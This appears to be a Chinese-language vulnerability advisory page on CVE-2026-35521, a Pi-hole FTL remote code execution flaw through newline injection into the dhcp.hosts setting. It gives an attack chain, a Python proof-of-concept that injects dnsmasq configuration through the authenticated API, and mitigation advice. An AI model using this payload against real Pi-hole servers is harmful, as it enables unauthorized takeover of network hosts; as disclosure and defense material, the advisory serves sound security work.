IPBUF安全漏洞报告
English
CVE-2026-35521 CVSS 8.8 高危

CVE-2026-35521 Pi-hole FTL远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35521
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL

相关标签

远程代码执行RCEPi-holeCRLF注入配置注入CVE-2026-35521

漏洞概述

Pi-hole FTL引擎在6.0至6.6之前的版本中存在严重的远程代码执行(RCE)漏洞。该漏洞位于DHCP主机配置参数(dhcp.hosts)中。由于缺乏对输入的严格过滤,经过身份验证的攻击者可以通过注入换行符来插入任意dnsmasq配置指令。这最终允许攻击者在底层系统上执行任意命令,严重影响系统的机密性、完整性和可用性。官方已在6.6版本中修复了此问题。

技术细节

该漏洞的根源在于Pi-hole FTL引擎处理DHCP主机配置参数(dhcp.hosts)时的输入验证机制存在缺陷。FTLDNS负责提供交互式API并生成统计信息,其配置逻辑允许管理员通过Web界面或API修改DHCP设置。在受影响的版本(6.0至6.6之前)中,系统未能正确处理用户提供的输入,特别是未能过滤换行符(\n)。攻击者利用此漏洞需要具备低权限的认证身份。通过向dhcp.hosts参数发送特制的恶意payload,攻击者可以注入换行符,从而将原本用于配置DHCP主机的指令拆分,并追加任意有效的dnsmasq配置指令。由于dnsmasq具有强大的配置功能,攻击者利用这一逻辑缺陷,绕过预期的配置限制,成功在运行Pi-hole的服务器上执行任意系统级命令,从而完全控制受影响的主机。

攻击链分析

STEP 1
侦察
攻击者识别目标网络上运行的Pi-hole实例,并确定其版本处于6.0至6.6之间。
STEP 2
获取访问权限
攻击者通过钓鱼、暴力破解或其他手段获取Pi-hole Web界面的低权限账户凭证。
STEP 3
漏洞利用
攻击者使用获取的凭证访问API,向dhcp.hosts参数发送包含换行符的恶意数据,注入dnsmasq配置指令。
STEP 4
命令执行
Pi-hole FTL引擎重新加载配置,解析被注入的恶意指令,导致在底层系统上执行任意代码。
STEP 5
建立控制
攻击者利用执行的命令获取Shell访问权限或进一步植入后门,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # PoC for CVE-2026-35521: Pi-hole FTL RCE via dhcp.hosts injection # Target: Pi-hole FTL < 6.6 TARGET = "http://<PI-HOLE-IP>/api/config" API_TOKEN = "<VALID_ADMIN_TOKEN>" # The vulnerability allows injecting newline characters to append malicious dnsmasq config. # Example payload injecting a directive that could lead to command execution # (Specific command execution vector depends on dnsmasq config capabilities). # Here we inject a 'dhcp-option' directive as a proof of configuration injection. # Attacker controlled input malicious_host = "192.168.1.50,hacker-pc" # Injected configuration separator and command injected_config = "\ndhcp-option=6,8.8.8.8" # Combine to form the payload payload = malicious_host + injected_config headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } data = { "config": { "dhcp": { "hosts": payload } } } print(f"[*] Sending payload to {TARGET}...") print(f"[*] Payload content: {repr(payload)}") try: response = requests.post(TARGET, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload accepted successfully. Configuration injected.") print("[+] Check dnsmasq configuration or restart FTL to trigger the effect.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Pi-hole FTL >= 6.0
Pi-hole FTL < 6.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用DHCP功能或严格限制对管理接口的访问控制列表(ACL),仅允许内部受信任的管理员IP进行连接。同时,应密切监控系统进程和dnsmasq配置文件的完整性,以防止未授权的修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表